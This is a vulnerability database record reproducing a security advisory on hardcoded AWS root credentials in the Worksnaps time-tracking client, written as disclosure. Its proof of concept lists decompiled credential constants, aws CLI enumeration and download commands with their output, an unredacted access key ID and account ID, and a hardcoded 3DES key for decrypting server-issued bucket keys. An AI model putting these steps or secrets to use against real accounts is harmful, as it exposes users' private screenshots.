GCVE-1988-2026-0355
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260618-0 >
=======================================================================
title: Hardcoded Root Cloud Credentials in Application Binaries
product: Silver Leaf Technologies - Worksnaps.net Worksnaps
vulnerable version: <1.6.20260201
fixed version: 1.6.20260201
CVE number: CVE-2025-10560
impact: critical
homepage:https://www.worksnaps.net
found: 2025-05-21
by: Thorger Jansen (Office Bochum)
Daniel Hirschberger
Tobias Niemann (Office Bochum)
Marius Renner (Office Bochum)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We are a small company with strong entrepreneurial spirit. We are here to
provide a different way of time tracking, specifically designed for remote
work. We believe in small teams, solid development and great design. We believe
that no business is too small to serve."
"Worksnaps is a time-tracking system which enable verification of time and
work. By using Worksnaps Client, a program running on users' desktop, the
users' work activities are sampled and sent to the server. We call them
"worksnaps".
Source:https://www.worksnaps.net/www/index.shtml
Source:https://alternativeto.net/software/worksnaps/about/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately. The
vendor also implemented server-side fixes to remediate some identified
issues.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
Several application binaries contained hardcoded credentials, such as AWS access
keys and S3 bucket names, which granted access to the production environment.
Those hardcoded AWS cloud credentials in the Worksnaps client gave an
attacker complete access the Worksnaps AWS infrastructure as AWS root
account. An attacker got access to S3 buckets with sensitive data, such as
screenshots of user desktops.
Proof of concept:
-----------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
After installing the application, there are various binaries in
"C:\Program Files (x86)\Worksnaps".
Several of those binaries can be analyzed by using the "ILSpy" tool and
contain valid credentials.
For example the binary procUploadDirect.net45.v2.exe contains the following
AWS Credentials:
--------------------------------------------------------------------------------
private const string DEFAULT_AWS_ACCESS_KEY = "[REDACTED]";
private const string DEFAULT_AWS_SECRET_KEY = "[REDACTED]";
private const string DEFAULT_REGION_NAME = "USEast1";
private const string BUCKET_NAME = "bbbb_hyoung";
private static string TEMP_BUCKET_NAME = "temp-prod";
private static string PERM_BUCKET_NAME_FULL = "perm-prod";
private static string PERM_BUCKET_NAME_THUMB = "perm-prod2";
private static RegionEndpoint Region = RegionEndpoint.USEast1;
--------------------------------------------------------------------------------
Using these credentials several AWS actions could be performed by an attacker.
First, the identity of the caller can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "227929[REDACTED]",
"Account": "227929[REDACTED]",
"Arn": "arn:aws:iam::227929[REDACTED]:root"
}
--------------------------------------------------------------------------------
This shows that the credentials in use are valid and it provides key details
about the AWS identity, including the Account ID, User ID, and ARN (Amazon
Resource Name) of the entity making the call.
Then, all S3 buckets can be listed with the command "aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "aws-cloudtrail-logs-[REDACTED]-ssfull",
"CreationDate": "2022-12-11T06:27:46+00:00"
},
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS
account. The output will include the names and creation dates of each bucket,
which can help identify targets of interest for further enumeration or data
access.
Also, by using the command "describe-instances" an attacker can retrieve
detailed information about all EC2 instances in the account:
--------------------------------------------------------------------------------
$ aws ec2 describe-instances
{
"Reservations": [
{
"ReservationId": "[REDACTED]",
"OwnerId": "227929[REDACTED]",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2019-05-28T02:39:54+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "[REDACTED]61769"
}
}
],
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have the ec2:DescribeInstances permission,
allowing the enumeration of instance metadata such as instance IDs, public and
private IP addresses, and more.
Finally, by using "aws s3 cp" an attacker could attempt to copy objects from a
target S3 bucket to their local system. In this case one of the generated
screenshots is directly fetched from the S3 bucket instead of the web
interface. Note: SEC Consult only requested data from our own associated
accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:GetObject) to read and download data from the buckets. Since the buckets
potentially contain sensitive files, this can lead to significant data
exfiltration.
UCloud credentials were also discovered alongside the AWS credentials.
However, their validity has not been verified:
--------------------------------------------------------------------------------
public static string UCLOUD_PROXY_SUFFIX = ".cn-sh2.ufileos.com";
public static string UCLOUD_PUBLIC_KEY = "[REDACTED]";
public static string UCLOUD_PRIVATE_KEY = "[REDACTED]";
public static string UCLOUD_WORKCARD_BUCKET = "workcard2";
public static string UCLOUD_WORKCARD_BUCKET_FULL = "workcardssfull-dev04";
public static string UCLOUD_WORKCARD_BUCKET_SMALL =
"workcardssrepository-dev04";
--------------------------------------------------------------------------------
Update 2026-01-30
-----------------
The vendor told us on 2025-12-12 that a new version of the client is available
on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client
to re-check the vulnerability.
The originally reported hardcoded AWS cloud credentials were removed from the
binary. The original credentials had also been revoked. There still are
hardcoded credentials present in the application binaries, but they provide a
lower level of access. The following AWS credentials were extracted from
UploadTracker.exe:
--------------------------------------------------------------------------------
public const string S3_AccessKey = "AKIAYL45N6SALVDBTCUQ";
public const string S3_SecreKey = "[REDACTED]"
--------------------------------------------------------------------------------
The identity associated with the credentials can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "575318914176",
"Account": "575318914176",
"Arn": "arn:aws:iam::575318914176:root"
}
--------------------------------------------------------------------------------
SEC Consult did not perform a detailed assessment of the level of permissions
of these new credentials. However, at the very least, these credentials do not
provide access to the originally discovered S3 buckets with all screenshot
data.
The client application now retrieves AWS credentials for the S3 screenshot
buckets from the Worksnaps server after logging in. The following code block
shows the login request:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Worksnaps Client (Windows)
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=3201&version=1.6&build=Build+1%2E6%2E20251206&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
The server responds with the following response data. Note the bucketKey and
bucketKey2 fields, which contain encrypted AWS credentials.
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/5.6.37
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=1769505670&timediff=1769502469&lb_url=&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=2&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED
encrypted bucket key 1]&bucketKey2=[REDACTED encrypted bucket key
2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The encrypted bucketKey can be easily decrypted by extracting the decryption
algorithm and corresponding 3DES encryption key from the client binary
procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:
--------------------------------------------------------------------------------
private static string WORKWELL = "workwell";
private static string AMAZON = "AMAZON";
private static string SUFFIX = "@P66668888";
public static string Decrypt(string input)
{
string text = TripleDESEncryption.WORKWELL
+ TripleDESEncryption.AMAZON
+ TripleDESEncryption.SUFFIX;
string workwell = TripleDESEncryption.WORKWELL;
TripleDES tripleDES = TripleDES.Create();
tripleDES.IV = Encoding.ASCII.GetBytes(workwell);
tripleDES.Key = Encoding.ASCII.GetBytes(text);
tripleDES.Mode = CipherMode.CBC;
tripleDES.P
Severity
No CVSS data available.
Assigner
References
17 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | Silver Leaf Technologies - Worksnaps.net Worksnaps |
Affected:
unknown
|
guessed |
Relationships
analysis
GCVE-1988-2026-0355 (this record)
- related CVE-2025-10560
{
"containers": {
"cna": {
"affected": [
{
"product": "Silver Leaf Technologies - Worksnaps.net Worksnaps",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260618-0 \u003e\n=======================================================================\n title: Hardcoded Root Cloud Credentials in Application Binaries\n product: Silver Leaf Technologies - Worksnaps.net Worksnaps\n vulnerable version: \u003c1.6.20260201\n\u00a0 \u00a0 \u00a0 fixed version: 1.6.20260201\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-10560\n impact: critical\n homepage:https://www.worksnaps.net\n found: 2025-05-21\n by: Thorger Jansen (Office Bochum)\n Daniel Hirschberger\n Tobias Niemann (Office Bochum)\n Marius Renner (Office Bochum)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are a small company with strong entrepreneurial spirit. We are here to\nprovide a different way of time tracking, specifically designed for remote\nwork. We believe in small teams, solid development and great design. We believe\nthat no business is too small to serve.\"\n\"Worksnaps is a time-tracking system which enable verification of time and\nwork. By using Worksnaps Client, a program running on users\u0027 desktop, the\nusers\u0027 work activities are sampled and sent to the server. We call them\n\"worksnaps\".\n\nSource:https://www.worksnaps.net/www/index.shtml\nSource:https://alternativeto.net/software/worksnaps/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately. The\nvendor also implemented server-side fixes to remediate some identified\nissues.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\nSeveral application binaries contained hardcoded credentials, such as AWS access\nkeys and S3 bucket names, which granted access to the production environment.\n\nThose hardcoded AWS cloud credentials in the Worksnaps client gave an\nattacker complete access the Worksnaps AWS infrastructure as AWS root\naccount. An attacker got access to S3 buckets with sensitive data, such as\nscreenshots of user desktops.\n\n\nProof of concept:\n-----------------\n1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\nAfter installing the application, there are various binaries in\n\"C:\\Program Files (x86)\\Worksnaps\".\n\nSeveral of those binaries can be analyzed by using the \"ILSpy\" tool and\ncontain valid credentials.\n\nFor example the binary procUploadDirect.net45.v2.exe contains the following\nAWS Credentials:\n--------------------------------------------------------------------------------\nprivate const string DEFAULT_AWS_ACCESS_KEY = \"[REDACTED]\";\nprivate const string DEFAULT_AWS_SECRET_KEY = \"[REDACTED]\";\nprivate const string DEFAULT_REGION_NAME = \"USEast1\";\nprivate const string BUCKET_NAME = \"bbbb_hyoung\";\nprivate static string TEMP_BUCKET_NAME = \"temp-prod\";\nprivate static string PERM_BUCKET_NAME_FULL = \"perm-prod\";\nprivate static string PERM_BUCKET_NAME_THUMB = \"perm-prod2\";\nprivate static RegionEndpoint Region = RegionEndpoint.USEast1;\n--------------------------------------------------------------------------------\n\nUsing these credentials several AWS actions could be performed by an attacker.\n\nFirst, the identity of the caller can be retrieved with the command\n\"aws sts get-caller-identity\":\n--------------------------------------------------------------------------------\n$ aws sts get-caller-identity\n{\n \"UserId\": \"227929[REDACTED]\",\n \"Account\": \"227929[REDACTED]\",\n \"Arn\": \"arn:aws:iam::227929[REDACTED]:root\"\n}\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use are valid and it provides key details\nabout the AWS identity, including the Account ID, User ID, and ARN (Amazon\nResource Name) of the entity making the call.\n\nThen, all S3 buckets can be listed with the command \"aws s3api list-buckets\":\n--------------------------------------------------------------------------------\n$ aws s3api list-buckets\n{\n \"Buckets\": [\n {\n \"Name\": \"aws-cloudtrail-logs-[REDACTED]-ssfull\",\n \"CreationDate\": \"2022-12-11T06:27:46+00:00\"\n },\n[...]\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have sufficient permissions (typically\ns3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS\naccount. The output will include the names and creation dates of each bucket,\nwhich can help identify targets of interest for further enumeration or data\naccess.\n\nAlso, by using the command \"describe-instances\" an attacker can retrieve\ndetailed information about all EC2 instances in the account:\n\n--------------------------------------------------------------------------------\n$ aws ec2 describe-instances\n{\n \"Reservations\": [\n {\n \"ReservationId\": \"[REDACTED]\",\n \"OwnerId\": \"227929[REDACTED]\",\n \"Groups\": [],\n \"Instances\": [\n {\n \"Architecture\": \"x86_64\",\n \"BlockDeviceMappings\": [\n {\n \"DeviceName\": \"/dev/xvda\",\n \"Ebs\": {\n \"AttachTime\": \"2019-05-28T02:39:54+00:00\",\n \"DeleteOnTermination\": true,\n \"Status\": \"attached\",\n \"VolumeId\": \"[REDACTED]61769\"\n }\n }\n ],\n[...]\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have the ec2:DescribeInstances permission,\nallowing the enumeration of instance metadata such as instance IDs, public and\nprivate IP addresses, and more.\n\nFinally, by using \"aws s3 cp\" an attacker could attempt to copy objects from a\ntarget S3 bucket to their local system. In this case one of the generated\nscreenshots is directly fetched from the S3 bucket instead of the web\ninterface. Note: SEC Consult only requested data from our own associated\naccounts. No data of other customers was accessed.\n\n--------------------------------------------------------------------------------\n$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg\ndownload: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have sufficient permissions (typically\ns3:GetObject) to read and download data from the buckets. Since the buckets\npotentially contain sensitive files, this can lead to significant data\nexfiltration.\n\nUCloud credentials were also discovered alongside the AWS credentials.\nHowever, their validity has not been verified:\n\n--------------------------------------------------------------------------------\npublic static string UCLOUD_PROXY_SUFFIX = \".cn-sh2.ufileos.com\";\npublic static string UCLOUD_PUBLIC_KEY = \"[REDACTED]\";\npublic static string UCLOUD_PRIVATE_KEY = \"[REDACTED]\";\npublic static string UCLOUD_WORKCARD_BUCKET = \"workcard2\";\npublic static string UCLOUD_WORKCARD_BUCKET_FULL = \"workcardssfull-dev04\";\npublic static string UCLOUD_WORKCARD_BUCKET_SMALL =\n\"workcardssrepository-dev04\";\n--------------------------------------------------------------------------------\n\n\nUpdate 2026-01-30\n-----------------\nThe vendor told us on 2025-12-12 that a new version of the client is available\non the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client\nto re-check the vulnerability.\n\nThe originally reported hardcoded AWS cloud credentials were removed from the\nbinary. The original credentials had also been revoked. There still are\nhardcoded credentials present in the application binaries, but they provide a\nlower level of access. The following AWS credentials were extracted from\nUploadTracker.exe:\n\n--------------------------------------------------------------------------------\npublic const string S3_AccessKey = \"AKIAYL45N6SALVDBTCUQ\";\npublic const string S3_SecreKey = \"[REDACTED]\"\n--------------------------------------------------------------------------------\n\nThe identity associated with the credentials can be retrieved with the command\n\"aws sts get-caller-identity\":\n\n--------------------------------------------------------------------------------\n$ aws sts get-caller-identity\n{\n \"UserId\": \"575318914176\",\n \"Account\": \"575318914176\",\n \"Arn\": \"arn:aws:iam::575318914176:root\"\n}\n--------------------------------------------------------------------------------\n\nSEC Consult did not perform a detailed assessment of the level of permissions\nof these new credentials. However, at the very least, these credentials do not\nprovide access to the originally discovered S3 buckets with all screenshot\ndata.\n\nThe client application now retrieves AWS credentials for the S3 screenshot\nbuckets from the Worksnaps server after logging in. The following code block\nshows the login request:\n\n--------------------------------------------------------------------------------\nPOST /mys3/dispatcher.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Worksnaps Client (Windows)\nHost:www.worksnaps.net\n[...]\n\naction=login\u0026type=windows\u0026username=[REDACTED]\u0026mytime=3201\u0026version=1.6\u0026build=Build+1%2E6%2E20251206\u0026token=[REDACTED]\u0026branding=worksnaps\u0026computername=[REDACTED]\u0026os=W+Version+6%2E2%2E9200+\u0026multiupload=1\u0026use_urlencode=1\u0026username2=[REDACTED]\n--------------------------------------------------------------------------------\n\nThe server responds with the following response data. Note the bucketKey and\nbucketKey2 fields, which contain encrypted AWS credentials.\n\n--------------------------------------------------------------------------------\nHTTP/1.1 200 OK\nServer: Apache/2.4.62 (Unix) OpenSSL/1.1.1k\nX-Powered-By: PHP/5.6.37\n[...]\n\nstatuscode=1\u0026sessionkey=[REDACTED]\u0026userid=[REDACTED]\u0026login=[REDACTED]\u0026servertime=1769505670\u0026timediff=1769502469\u0026lb_url=\u0026project=\u0026use_activitytracker=0\u0026use_uploadtracker=0\u0026screenfilter=\u0026appnamefilter=\u0026cachetime=180\u0026capturetimeout=20\u0026directupload=1\u0026directupload_ver=2\u0026uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php\u0026bucketKey=[REDACTED\n encrypted bucket key 1]\u0026bucketKey2=[REDACTED encrypted bucket key \n2]\u0026bucketName0=sstemp-prod\u0026bucketName1=ssfull-prod\u0026bucketName2=ssrepository-prod\u0026testmode=0\u0026auth_method=token\u0026debug=0\u0026firstslotprobability=-1\u0026httptype=std\u0026sysmessage_title=\u0026sysmessage_body=\u0026sysmessage_shutdown=\n--------------------------------------------------------------------------------\n\nThe encrypted bucketKey can be easily decrypted by extracting the decryption\nalgorithm and corresponding 3DES encryption key from the client binary\nprocUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:\n\n--------------------------------------------------------------------------------\nprivate static string WORKWELL = \"workwell\";\nprivate static string AMAZON = \"AMAZON\";\nprivate static string SUFFIX = \"@P66668888\";\n\npublic static string Decrypt(string input)\n{\n\u2003\u2003string text = TripleDESEncryption.WORKWELL\n + TripleDESEncryption.AMAZON\n + TripleDESEncryption.SUFFIX;\n\u2003\u2003string workwell = TripleDESEncryption.WORKWELL;\n\u2003\u2003TripleDES tripleDES = TripleDES.Create();\n\u2003\u2003tripleDES.IV = Encoding.ASCII.GetBytes(workwell);\n\u2003\u2003tripleDES.Key = Encoding.ASCII.GetBytes(text);\n\u2003\u2003tripleDES.Mode = CipherMode.CBC;\n\u2003\u2003tripleDES.P"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/21"
},
{
"url": "http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php\u0026bucketKey=[REDACTED"
},
{
"url": "http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php"
},
{
"url": "https://alternativeto.net/software/worksnaps/about/"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://worksnaps.freshdesk.com/support/tickets/new"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://www.worksnaps.net"
},
{
"url": "https://www.worksnaps.net/www/download.shtml"
},
{
"url": "https://www.worksnaps.net/www/index.shtml"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/21"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-10560",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0355",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/21",
"automated": true,
"contentSha256": "ed8fc36ec90eb6edc62c1996aa68afd6cc2d3eeca23f7d895dbea22c982d7919",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-18T06:54:22Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0355"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:57Z",
"dateUpdated": "2026-09-11T07:55:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0355"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…